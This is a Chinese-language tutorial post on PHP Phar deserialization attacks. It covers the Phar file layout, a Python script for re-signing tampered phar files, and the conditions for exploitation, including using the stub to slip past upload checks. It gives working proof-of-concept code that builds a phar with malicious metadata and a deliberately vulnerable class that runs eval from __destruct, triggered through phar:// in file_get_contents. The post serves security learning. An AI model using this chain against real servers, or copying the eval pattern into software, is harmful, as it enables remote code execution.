PHP Phar反序列化學習

PHP Phar反序列化學習PharPhar是PHP的壓縮文檔,是PHP中類似于JAR的一種打包文件 。它可以把多個文件存放至同一個文件中,無需解壓,PHP就可以進行訪問并執行內部語句 。
默認開啟版本 PHP version >= 5.3
Phar文件結構

PHP Phar反序列化學習

文章插圖
1、Stub//Phar文件頭2、manifest //壓縮文件信息3、contents //壓縮文件內容4、signature //簽名StubStub是Phar的文件標識,也可以理解為它就是Phar的文件頭這個Stub其實就是一個簡單的PHP文件 , 它的格式具有一定的要求,具體如下
xxx<?php xxx; __HALT_COMPILER();?>前面的內容是不限制的,但在該PHP語句中,必須有__HALT_COMPILER(),沒有這個 , PHP就無法識別出它是Phar文件 。
manifest用于存放文件的屬性、權限等信息 。這里也是反序列化的攻擊點,因為這里以序列化的形式存儲了用戶自定義的Meta-data
PHP Phar反序列化學習

文章插圖
contents用于存放Phar文件的內容
signature簽名(可選參數),位于文件末尾,具體格式如下
PHP Phar反序列化學習

文章插圖
簽證尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密
當我們修改文件的內容時,簽名就會變得無效,這個時候需要更換一個新的簽名更換簽名的腳本
from hashlib import sha1with open('test.phar', 'rb') as file:f = file.read()s = f[:-28] # 獲取要簽名的數據h = f[-8:] # 獲取簽名類型和GBMB標識newf = s + sha1(s).digest() + h # 數據 + 簽名 + (類型 + GBMB)with open('newtest.phar', 'wb') as file:file.write(newf) # 寫入新文件Phar反序列化Phar之所以能反序列化,是因為Phar文件會以序列化的形式存儲用戶自定義的meta-data,PHP使用phar_parse_metadata在解析meta數據時,會調用php_var_unserialize進行反序列化操作 。
利用條件1、phar文件能夠上傳至服務器//即要求存在file_get_contents()、fopen()這種函數2、要有可利用的魔術方法//這個的話用一位大師傅的話說就是利用魔術方法作為"跳板"3、文件操作函數的參數可控,且:、/、phar等特殊字符沒有被過濾//一般利用姿勢是上傳Phar文件后通過偽協議Phar來實現反序列化 , 偽協議Phar格式是`Phar://`這種,如果這幾個特殊字符被過濾就無法實現反序列化4、php.ini中的phar.readonly選項,需要為Off(默認是on) 。Phar屬于偽協議 , 偽協議使用較多的是一些文件操作函數,如fopen()、copy()、file_exists()等,具體如下圖,也就是下面的函數如果參數可控可以造成Phar反序列化
PHP Phar反序列化學習

文章插圖
生成phar文件copy的代碼
<?phpclass test{public $name="qwq";function __destruct(){echo $this->name;}}$a = new test();$a->name="phpinfo();";$phartest=new phar('phartest.phar',0);//后綴名必須為phar$phartest->startBuffering();//開始緩沖 Phar 寫操作$phartest->setMetadata($a);//自定義的meta-data存入manifest$phartest->setStub("<?php __HALT_COMPILER();?>");//設置stub,stub是一個簡單的php文件 。PHP通過stub識別一個文件為PHAR文件,可以利用這點繞過文件上傳檢測$phartest->addFromString("test.txt","test");//添加要壓縮的文件$phartest->stopBuffering();//停止緩沖對 Phar 歸檔的寫入請求,并將更改保存到磁盤?>復現先訪問上面的php代碼 , 生成phar文件
PHP Phar反序列化學習

文章插圖
存在漏洞代碼,通過file_get_contents觸發phar反序列化
<?phpclass test{public $name="";public function __destruct(){eval($this->name);}}$phardemo = file_get_contents('phar://phartest.phar/test.txt');echo $phardemo;
PHP Phar反序列化學習

文章插圖
【PHP Phar反序列化學習】

    推薦閱讀